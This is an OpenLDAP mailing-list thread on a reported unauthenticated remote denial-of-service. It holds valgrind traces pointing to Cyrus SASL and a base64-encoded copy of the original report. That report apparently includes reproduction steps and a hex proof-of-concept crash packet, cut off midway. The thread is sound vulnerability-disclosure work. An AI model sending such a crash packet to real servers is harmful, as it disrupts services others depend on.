this issue to them. >>> >>> valgrind confirms it as well: >>> >>> 5ddfddde do_bind: dn () SASL mech <garbage> >>> 5ddfddde =3D=3D> sasl_bind: dn=3D"" mech=3D<garbage> >>> datalen=3D0 >>> =3D=3D11019=3D=3D Thread 3: >>> =3D=3D11019=3D=3D Invalid write of size 1 >>> =3D=3D11019=3D=3D at 0x4B9B1DB: sasl_seterror (seterror.c:247) >>> =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) >>> =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) >>> =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) >>> =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) >>> =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:= 1185) >>> =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.= c:1342) >>> =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool= .c:1048) >>> =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479= ) >>> =3D=3D11019=3D=3D by 0x4EFA322: clone (clone.S:95) >>> =3D=3D11019=3D=3D Address 0x62032a8 is 0 bytes after a block of size= 600 alloc'd >>> =3D=3D11019=3D=3D at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-= gnu/valgrind/vgpreload_memcheck-amd64-linux.so) >>> =3D=3D11019=3D=3D by 0x4B930A4: _buf_alloc (common.c:2186) >>> =3D=3D11019=3D=3D by 0x4B93299: _sasl_add_string (common.c:196) >>> =3D=3D11019=3D=3D by 0x4B9B2D4: sasl_seterror (seterror.c:187) >>> =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) >>> =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) >>> =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) >>> =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) >>> =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:= 1185) >>> =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.= c:1342) >>> =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool= .c:1048) >>> =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479= ) >>> =3D=3D11019=3D=3D >>> =3D=3D11019=3D=3D Invalid read of size 1 >>> =3D=3D11019=3D=3D at 0x483DF54: strlen (in /usr/lib/x86_64-linux-g= nu/valgrind/vgpreload_memcheck-amd64-linux.so) >>> =3D=3D11019=3D=3D by 0x4E53DE4: __vfprintf_internal (vfprintf-inte= rnal.c:1688) >>> =3D=3D11019=3D=3D by 0x4E67029: __vsnprintf_internal (vsnprintf.c:= 114) >>> =3D=3D11019=3D=3D by 0x3A1FFA: lutil_debug (debug.c:74) >>> =3D=3D11019=3D=3D by 0x266FF3: slap_sasl_log (sasl.c:146) >>> =3D=3D11019=3D=3D by 0x4B9B4CF: sasl_seterror (seterror.c:260) >>> =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) >>> =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) >>> =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) >>> =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) >>> =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:= 1185) >>> =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.= c:1342) >>> =3D=3D11019=3D=3D Address 0x62032a8 is 0 bytes after a block of size= 600 alloc'd >>> =3D=3D11019=3D=3D at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-= gnu/valgrind/vgpreload_memcheck-amd64-linux.so) >>> =3D=3D11019=3D=3D by 0x4B930A4: _buf_alloc (common.c:2186) >>> =3D=3D11019=3D=3D by 0x4B93299: _sasl_add_string (common.c:196) >>> =3D=3D11019=3D=3D by 0x4B9B2D4: sasl_seterror (seterror.c:187) >>> =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) >>> =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) >>> =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) >>> =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) >>> =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:= 1185) >>> =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.= c:1342) >>> =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool= .c:1048) >>> =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479= ) >>> >>> >>> >>> >> >=20 --=20 -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

Re: (ITS#9123) Unauthenticated remote denial-of-service
by stephan＠srlabs.de 28 Nov '19

28 Nov '19

--------------ms000905070707070901010503 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Content-Language: en-US Hi Howard =E2=80=94 Thanks for the quick reply. Will forward the report upstream to Cyrus SAS= L. Best =C2=A0=C2=A0=C2=A0 -Stephan On 11/28/19 3:54 PM, Howard Chu wrote: > Resending with the non-printable chars omitted: > > Howard Chu wrote: >> Thanks, but your trace clearly shows that this is a fault in Cyrus SAS= L, you should be reporting >> this issue to them. >> >> valgrind confirms it as well: >> >> 5ddfddde do_bind: dn () SASL mech <garbage> >> 5ddfddde =3D=3D> sasl_bind: dn=3D"" mech=3D<garbage> >> datalen=3D0 >> =3D=3D11019=3D=3D Thread 3: >> =3D=3D11019=3D=3D Invalid write of size 1 >> =3D=3D11019=3D=3D at 0x4B9B1DB: sasl_seterror (seterror.c:247) >> =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) >> =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) >> =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) >> =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) >> =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:1= 185) >> =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.c= :1342) >> =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.= c:1048) >> =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479)= >> =3D=3D11019=3D=3D by 0x4EFA322: clone (clone.S:95) >> =3D=3D11019=3D=3D Address 0x62032a8 is 0 bytes after a block of size = 600 alloc'd >> =3D=3D11019=3D=3D at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-g= nu/valgrind/vgpreload_memcheck-amd64-linux.so) >> =3D=3D11019=3D=3D by 0x4B930A4: _buf_alloc (common.c:2186) >> =3D=3D11019=3D=3D by 0x4B93299: _sasl_add_string (common.c:196) >> =3D=3D11019=3D=3D by 0x4B9B2D4: sasl_seterror (seterror.c:187) >> =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) >> =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) >> =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) >> =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) >> =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:1= 185) >> =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.c= :1342) >> =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.= c:1048) >> =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479)= >> =3D=3D11019=3D=3D >> =3D=3D11019=3D=3D Invalid read of size 1 >> =3D=3D11019=3D=3D at 0x483DF54: strlen (in /usr/lib/x86_64-linux-gn= u/valgrind/vgpreload_memcheck-amd64-linux.so) >> =3D=3D11019=3D=3D by 0x4E53DE4: __vfprintf_internal (vfprintf-inter= nal.c:1688) >> =3D=3D11019=3D=3D by 0x4E67029: __vsnprintf_internal (vsnprintf.c:1= 14) >> =3D=3D11019=3D=3D by 0x3A1FFA: lutil_debug (debug.c:74) >> =3D=3D11019=3D=3D by 0x266FF3: slap_sasl_log (sasl.c:146) >> =3D=3D11019=3D=3D by 0x4B9B4CF: sasl_seterror (seterror.c:260) >> =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) >> =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) >> =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) >> =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) >> =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:1= 185) >> =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.c= :1342) >> =3D=3D11019=3D=3D Address 0x62032a8 is 0 bytes after a block of size = 600 alloc'd >> =3D=3D11019=3D=3D at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-g= nu/valgrind/vgpreload_memcheck-amd64-linux.so) >> =3D=3D11019=3D=3D by 0x4B930A4: _buf_alloc (common.c:2186) >> =3D=3D11019=3D=3D by 0x4B93299: _sasl_add_string (common.c:196) >> =3D=3D11019=3D=3D by 0x4B9B2D4: sasl_seterror (seterror.c:187) >> =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) >> =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) >> =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) >> =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) >> =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:1= 185) >> =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.c= :1342) >> =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.= c:1048) >> =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479)= >> >> >> >> > --------------ms000905070707070901010503 Content-Type: application/pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFADCABgkqhkiG9w0BBwEAAKCC C5owggVLMIIEM6ADAgECAhBcqlOYsUipXhgfVtj/CAUVMA0GCSqGSIb3DQEBCwUAMIGCMQsw CQYDVQQGEwJJVDEPMA0GA1UECAwGTWlsYW5vMQ8wDQYDVQQHDAZNaWxhbm8xIzAhBgNVBAoM GkFjdGFsaXMgUy5wLkEuLzAzMzU4NTIwOTY3MSwwKgYDVQQDDCNBY3RhbGlzIENsaWVudCBB dXRoZW50aWNhdGlvbiBDQSBHMTAeFw0xOTA1MjQwODA3MTdaFw0yMDA1MjQwODA3MTdaMBwx GjAYBgNVBAMMEXN0ZXBoYW5Ac3JsYWJzLmRlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB CgKCAQEAmniYbaUHSdjBF3/m+2PVN14GEGxOSwHtd8WxH9mUXKEIW4XuImwNz8AoGfFOHc4D A1Tc/an6lONwAeBgj541N7aKSTxRphKnrJrpJarbUR2FM7u7Km7btUTBT9mm6OmympB+vWKa GkjQo2Gr3GRSfVDNLP/n70H8uthbgwPLuBfBt/dLHFrvYBpPtnH2EQqKc1SELSUPAuo9zaO/ ohwPb7Sss3vMOOtePGL0lcHjWCbdsstZ/DUzek9MQ6F+PkGYee3JSzvyXvrADheqUPHtYPd2 LPu6hZKbAGjoqRYHVbwITZIzu7QWB4YEXFCdMT6XIde5lvA0zR7hhb63HKUVewIDAQABo4IC IDCCAhwwDAYDVR0TAQH/BAIwADAfBgNVHSMEGDAWgBR+YPz4bKc9Pdeuk6F5Ao+zdCk79TBL BggrBgEFBQcBAQQ/MD0wOwYIKwYBBQUHMAKGL2h0dHA6Ly9jYWNlcnQuYWN0YWxpcy5pdC9j ZXJ0cy9hY3RhbGlzLWF1dGNsaWcxMBwGA1UdEQQVMBOBEXN0ZXBoYW5Ac3JsYWJzLmRlMEcG A1UdIARAMD4wPAYGK4EfARgBMDIwMAYIKwYBBQUHAgEWJGh0dHBzOi8vd3d3LmFjdGFsaXMu aXQvYXJlYS1kb3dubG9hZDAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwQwgegGA1Ud HwSB4DCB3TCBm6CBmKCBlYaBkmxkYXA6Ly9sZGFwMDUuYWN0YWxpcy5pdC9jbiUzZEFjdGFs aXMlMjBDbGllbnQlMjBBdXRoZW50aWNhdGlvbiUyMENBJTIwRzEsbyUzZEFjdGFsaXMlMjBT LnAuQS4vMDMzNTg1MjA5NjcsYyUzZElUP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q7Ymlu YXJ5MD2gO6A5hjdodHRwOi8vY3JsMDUuYWN0YWxpcy5pdC9SZXBvc2l0b3J5L0FVVEhDTC1H MS9nZXRMYXN0Q1JMMB0GA1UdDgQWBBSM25yar8W0HyQ52pQLvwam2PQI1zAOBgNVHQ8BAf8E BAMCBaAwDQYJKoZIhvcNAQELBQADggEBADvK449WtB/GFtNr0TNrTnaNbtSuPz5poGt7nyUb neGYazzxvjBPI0a0A+h/++rHcAuYrCNP+/M0PWU3Jv4IDf6YwHGRQdXN4f9xhCtmBnFtfQ22 9anlEBvLZv5uEQSzZ6qhvZkqnq9WQ/ofb9q2GGwPfKa+QM4T8QFv5ZmogdXriH3gf4gJ1fbW 7Ig33y+xYXr8W4lQ3haAShGzV/FleypHafb/3ptGWNq3+diGKPxNpyU1BMq904OPAEBMCa5i 8+8kYsT8ug+t2uSqboWrutgr/y4bYxBrY56cdfgnLBqoHPEBkg8ONHMgiULphoOelPbOjHD0 by5aiDvNToIkdX4wggZHMIIEL6ADAgECAggs1IrTsR4PiTANBgkqhkiG9w0BAQsFADBrMQsw CQYDVQQGEwJJVDEOMAwGA1UEBwwFTWlsYW4xIzAhBgNVBAoMGkFjdGFsaXMgUy5wLkEuLzAz MzU4NTIwOTY3MScwJQYDVQQDDB5BY3RhbGlzIEF1dGhlbnRpY2F0aW9uIFJvb3QgQ0EwHhcN MTUwNTE0MDcxNDE1WhcNMzAwNTE0MDcxNDE1WjCBgjELMAkGA1UEBhMCSVQxDzANBgNVBAgM Bk1pbGFubzEPMA0GA1UEBwwGTWlsYW5vMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1 ODUyMDk2NzEsMCoGA1UEAwwjQWN0YWxpcyBDbGllbnQgQXV0aGVudGljYXRpb24gQ0EgRzEw ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDA/MGJVtmI4vQEZb/NCTWrKCkw/gzK 9yerHBHuhj1d5PVsRLYMVzOVl96Iio0tqduTKpPHJ1dn6TGhL3TvWpaxnrNL6nFKpcuz5FO+ d0RpbHmF0dlwo1YbOHLkWI7gZm8aUUicUSJpj504SmONa9J5em9wOmdjDoz0Be4ejgmGMLc/ 84r//lAVefO1NriJTrpGku145OAK2JELBk0rHwQV6qp9Oli98Rvgf3UTuf5jrWObR3YTx8nb AZNpJLCNzydMjYCle6OhzO6RvaQerBoY/erlS551ZydFlzrldSEr9norfYq+tC40/fYX/kzG S8QOcmlSee32IwTG8TOffXMNAgMBAAGjggHVMIIB0TBBBggrBgEFBQcBAQQ1MDMwMQYIKwYB BQUHMAGGJWh0dHA6Ly9vY3NwMDUuYWN0YWxpcy5pdC9WQS9BVVRILVJPT1QwHQYDVR0OBBYE FH5g/Phspz09166ToXkCj7N0KTv1MA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUUtiI OsifeGbtifN7OHCUyQICNtAwRQYDVR0gBD4wPDA6BgRVHSAAMDIwMAYIKwYBBQUHAgEWJGh0 dHBzOi8vd3d3LmFjdGFsaXMuaXQvYXJlYS1kb3dubG9hZDCB4wYDVR0fBIHbMIHYMIGWoIGT oIGQhoGNbGRhcDovL2xkYXAwNS5hY3RhbGlzLml0L2NuJTNkQWN0YWxpcyUyMEF1dGhlbnRp Y2F0aW9uJTIwUm9vdCUyMENBLG8lM2RBY3RhbGlzJTIwUy5wLkEuJTJmMDMzNTg1MjA5Njcs YyUzZElUP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q7YmluYXJ5MD2gO6A5hjdodHRwOi8v Y3JsMDUuYWN0YWxpcy5pdC9SZXBvc2l0b3J5L0FVVEgtUk9PVC9nZXRMYXN0Q1JMMA4GA1Ud DwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEATZPO1SS+QRtKFlhzX2WJ8tl6PliMvMvE D+VbFmeywUukM/JJ/Myad3PcXTpLnWW3AN75uVPByl3NSXczZqUofds6vznmS71Gvq553Jr4 cZBRPQ6GoOjYrYIAT2cFx8A3GJ+N9PxfMKgLdy1/27HeiDVa4TxZNwtkqAIy41EGYm170LhS DTDeJeo/Orwq5FGhs0qp10+OTcSIr5AD4QUIKRrXE4uH/tw8ZMkw21rX/S7mguJdo4Ad4Au3 +ep5naRn6WLMryhO/iKflq8h/d6Vregvq+vClNxrtNnFNf3R7zTl1lA3ipFU909usGVa02jM ftJ0t4utyg3yXYRc7rX3QYAlh3KdNzYToTKstUZwMpRf3VWYJJGuoSmlntbTlNtZEuLr7A+M DOZOrZdKYp9qOruO5MqCSTDsUUkHKLFrQ11Jmix1BvdWQuobwQ5g5qZkuof6/u5rT66WDsU6 +IVt5nthH15E7zU7wULW4uC62XIYPb4YuOBCey+d4Oxs0BZ+SivL6qoDG9XNfk9JpCnaknnY BogfUw3WLb+B5FI/zdNEysWTC4gzMOFfEoVC+myk1zX29xOvLOO3A/jGrRY1LhhY9LhT72Zb 5TQKCeyDH18yIk1st+V/mpJvnePcAYeeMr+onM9rf3AVNctcHrjwXfDVB/1Ht5l5NEl8JBj9 8lQxggP2MIID8gIBATCBlzCBgjELMAkGA1UEBhMCSVQxDzANBgNVBAgMBk1pbGFubzEPMA0G A1UEBwwGTWlsYW5vMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1ODUyMDk2NzEsMCoG A1UEAwwjQWN0YWxpcyBDbGllbnQgQXV0aGVudGljYXRpb24gQ0EgRzECEFyqU5ixSKleGB9W 2P8IBRUwDQYJYIZIAWUDBAIBBQCgggIvMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwHAYJ KoZIhvcNAQkFMQ8XDTE5MTEyODE0NTcyOFowLwYJKoZIhvcNAQkEMSIEIHUgVVi6K2dKIEB0 tQPAbVjXtxS4Yclx3hZ+5dWLZu3HMGwGCSqGSIb3DQEJDzFfMF0wCwYJYIZIAWUDBAEqMAsG CWCGSAFlAwQBAjAKBggqhkiG9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAw BwYFKw4DAgcwDQYIKoZIhvcNAwICASgwgagGCSsGAQQBgjcQBDGBmjCBlzCBgjELMAkGA1UE BhMCSVQxDzANBgNVBAgMBk1pbGFubzEPMA0GA1UEBwwGTWlsYW5vMSMwIQYDVQQKDBpBY3Rh bGlzIFMucC5BLi8wMzM1ODUyMDk2NzEsMCoGA1UEAwwjQWN0YWxpcyBDbGllbnQgQXV0aGVu dGljYXRpb24gQ0EgRzECEFyqU5ixSKleGB9W2P8IBRUwgaoGCyqGSIb3DQEJEAILMYGaoIGX MIGCMQswCQYDVQQGEwJJVDEPMA0GA1UECAwGTWlsYW5vMQ8wDQYDVQQHDAZNaWxhbm8xIzAh BgNVBAoMGkFjdGFsaXMgUy5wLkEuLzAzMzU4NTIwOTY3MSwwKgYDVQQDDCNBY3RhbGlzIENs aWVudCBBdXRoZW50aWNhdGlvbiBDQSBHMQIQXKpTmLFIqV4YH1bY/wgFFTANBgkqhkiG9w0B AQEFAASCAQAHG9hr/YziBS5vLwu+YsqEyjBAmDAXvDLJ2ZVf31HYOwRwSopLkP6E8/c21bae k9ibkGG/Co6pKyLnu3fbtzuZhRgYeLmQxtClssE/v5odKbOvd4nxSwcaZFQc+/J38IHvtXWb OExAhUG13SecR5Ovc8YIM+3kmY9ReEqqv8q6RV9sKk3dwIpkkoSsedBeD4YPjP62BqYC92TQ SXcN6BPiJqILJcCCkWPxAjjxdQVUylQW/3w5QGlmQRA1ovBXc93dijfAN+6QypO7PzWiCvXm xLVM4T4AbiZlQvhGA+beTYVrhrlLW3gqOCZeFIXBjnHTYAcJAiJ9jY66UywZMsVNAAAAAAAA --------------ms000905070707070901010503--

1 0

Re: (ITS#9123) Unauthenticated remote denial-of-service
by hyc＠symas.com 28 Nov '19

28 Nov '19

Resending with the non-printable chars omitted: Howard Chu wrote: > Thanks, but your trace clearly shows that this is a fault in Cyrus SASL, you should be reporting > this issue to them. > > valgrind confirms it as well: > > 5ddfddde do_bind: dn () SASL mech <garbage> > 5ddfddde ==> sasl_bind: dn="" mech=<garbage> > datalen=0 > ==11019== Thread 3: > ==11019== Invalid write of size 1 > ==11019== at 0x4B9B1DB: sasl_seterror (seterror.c:247) > ==11019== by 0x4B9A18D: sasl_server_start (server.c:1418) > ==11019== by 0x26B88B: slap_sasl_bind (sasl.c:1666) > ==11019== by 0x21E130: fe_op_bind (bind.c:279) > ==11019== by 0x21DCE1: do_bind (bind.c:205) > ==11019== by 0x1F35BA: connection_operation (connection.c:1185) > ==11019== by 0x1F3CE7: connection_read_thread (connection.c:1342) > ==11019== by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.c:1048) > ==11019== by 0x4DBE668: start_thread (pthread_create.c:479) > ==11019== by 0x4EFA322: clone (clone.S:95) > ==11019== Address 0x62032a8 is 0 bytes after a block of size 600 alloc'd > ==11019== at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so) > ==11019== by 0x4B930A4: _buf_alloc (common.c:2186) > ==11019== by 0x4B93299: _sasl_add_string (common.c:196) > ==11019== by 0x4B9B2D4: sasl_seterror (seterror.c:187) > ==11019== by 0x4B9A18D: sasl_server_start (server.c:1418) > ==11019== by 0x26B88B: slap_sasl_bind (sasl.c:1666) > ==11019== by 0x21E130: fe_op_bind (bind.c:279) > ==11019== by 0x21DCE1: do_bind (bind.c:205) > ==11019== by 0x1F35BA: connection_operation (connection.c:1185) > ==11019== by 0x1F3CE7: connection_read_thread (connection.c:1342) > ==11019== by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.c:1048) > ==11019== by 0x4DBE668: start_thread (pthread_create.c:479) > ==11019== > ==11019== Invalid read of size 1 > ==11019== at 0x483DF54: strlen (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so) > ==11019== by 0x4E53DE4: __vfprintf_internal (vfprintf-internal.c:1688) > ==11019== by 0x4E67029: __vsnprintf_internal (vsnprintf.c:114) > ==11019== by 0x3A1FFA: lutil_debug (debug.c:74) > ==11019== by 0x266FF3: slap_sasl_log (sasl.c:146) > ==11019== by 0x4B9B4CF: sasl_seterror (seterror.c:260) > ==11019== by 0x4B9A18D: sasl_server_start (server.c:1418) > ==11019== by 0x26B88B: slap_sasl_bind (sasl.c:1666) > ==11019== by 0x21E130: fe_op_bind (bind.c:279) > ==11019== by 0x21DCE1: do_bind (bind.c:205) > ==11019== by 0x1F35BA: connection_operation (connection.c:1185) > ==11019== by 0x1F3CE7: connection_read_thread (connection.c:1342) > ==11019== Address 0x62032a8 is 0 bytes after a block of size 600 alloc'd > ==11019== at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so) > ==11019== by 0x4B930A4: _buf_alloc (common.c:2186) > ==11019== by 0x4B93299: _sasl_add_string (common.c:196) > ==11019== by 0x4B9B2D4: sasl_seterror (seterror.c:187) > ==11019== by 0x4B9A18D: sasl_server_start (server.c:1418) > ==11019== by 0x26B88B: slap_sasl_bind (sasl.c:1666) > ==11019== by 0x21E130: fe_op_bind (bind.c:279) > ==11019== by 0x21DCE1: do_bind (bind.c:205) > ==11019== by 0x1F35BA: connection_operation (connection.c:1185) > ==11019== by 0x1F3CE7: connection_read_thread (connection.c:1342) > ==11019== by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.c:1048) > ==11019== by 0x4DBE668: start_thread (pthread_create.c:479) > > > > -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

Re: (ITS#9123) Unauthenticated remote denial-of-service
by hyc＠symas.com 28 Nov '19

28 Nov '19

c3RlcGhhbkBzcmxhYnMuZGUgd3JvdGU6DQo+IEZ1bGxfTmFtZTogU3RlcGhhbiBaZWlzYmVy Zw0KPiBWZXJzaW9uOiAyLjQuNDgNCj4gT1M6IEZlZG9yYSAzMSAoa2VybmVsIDUuMy4xMS0z MDAuZmMzMS54ODZfNjQpDQo+IFVSTDogDQo+IFN1Ym1pc3Npb24gZnJvbTogKE5VTEwpICg3 OC41NC42NS4xMzkpDQo+IA0KPiANCj4gRGVhciBvcGVubGRhcCB0ZWFtIOKAlA0KPiANCj4g IyBJc3N1ZSBkZXNjcmlwdGlvbg0KPiANCj4gVW5hdXRoZW50aWNhdGVkIHJlbW90ZSBkZW5p YWwtb2Ytc2VydmljZSB0aHJvdWdoIG1hbGZvcm1lZCBsZGFwIHBhY2tldA0KPiANCj4gIyBW ZXJzaW9uDQo+IA0KPiBvcGVubGRhcC0yLjQuNDgudGd6DQo+IA0KPiAjIEhvdyB0byByZXBy b2R1Y2UNCj4gDQo+ICMjIENvbXBpbGUNCj4gDQo+ICQgdGFyIHh6dmYgb3BlbmxkYXAtMi40 LjQ4LnRneg0KPiAkIGNkIG9wZW5sZGFwLTIuNC40OA0KPiAkIC4vY29uZmlndXJlIC0tcHJl Zml4PS90bXAvb3BlbmxkYXANCj4gJCBtYWtlIGRlcGVuZA0KPiAkIG1ha2UNCj4gJCBtYWtl IGluc3RhbGwNCj4gJCBjZCAvdG1wL29wZW5sZGFwDQo+IA0KPiAjIyBTdGFydCBzZXJ2ZXIN Cj4gDQo+ICQgLi9saWJleGVjL3NsYXBkIC1kIDEgLWggbGRhcDovLzEyNy4wLjAuMTo5MDkx DQo+IA0KPiAjIyBDcmVhdGUgUG9DIGNyYXNoIGZpbGUNCj4gDQo+ICQgZWNobyAtbiAiMzA4 NDAwMDAwNTRiMDIwMjAwZDc2MDg0MDAwMDA1NDEwMjAxMDMwNDAwYTM4NDAwMDAwNTAwYTM4 MjAzZTI2MTgyMDNkZTMwODIwM2RhYTAwMzAyMDEwNWExMTUxYjEzNTczMjRiMzMyZTU2NGQ0 ZTQ1NTQzMTJlNTY0ZDJlNDI0MTUzNDVhMjQ0MzA0MmEwMDMwMjAxMDJhMTNiMzAzOTFiMDQ2 YzY0NjE3MDFiMWM3NzM5ZGQzMzJkMzEzMDMxMmU3NzMyNmIzMzJlNzY2ZDZlNjU3NDMxMmU3 NjZkMmU2MjYxNzM2NTFiMTM3NzMyNmIzMzJlNzY2ZDZlNjVhMDAzMDIwMTE3YTEwMzAyMDEw OGEyODIwMzYyMDQ4MjAzNWVhMjM1YWFlYjRiOGRhZDJjYzFhNjdmNTRkYjAzMDM1MmNjMzQ4 NjRjOGNmM2I2NDNhMmQ3ZDMxMTFlMGFlYmUwZWVmOTcxMzBiNDUwNmNiZjI4YjAxYzZjMmJi NDlhZWRlZDA5Yjg2NDRlYzE0NmQyOTQwOWQ3MTgzODE4N2IxMzVhYTc3OWNhM2UzNWM3YjNk MDJjYzYwYzUzZDY1MTk5ZTA0YjEyY2RjOTgwZDA1Y2QxYjBhYmQ4Mzc5MWVjZWUyN2Q3OTU2 N2JmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZi ZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZi ZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZi ZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmZDBmYmQzYmZi ZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZi ZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZi ZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZi ZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZi ZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZi ZmJmYmZiZmJmYmZiDQo+ICBmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm 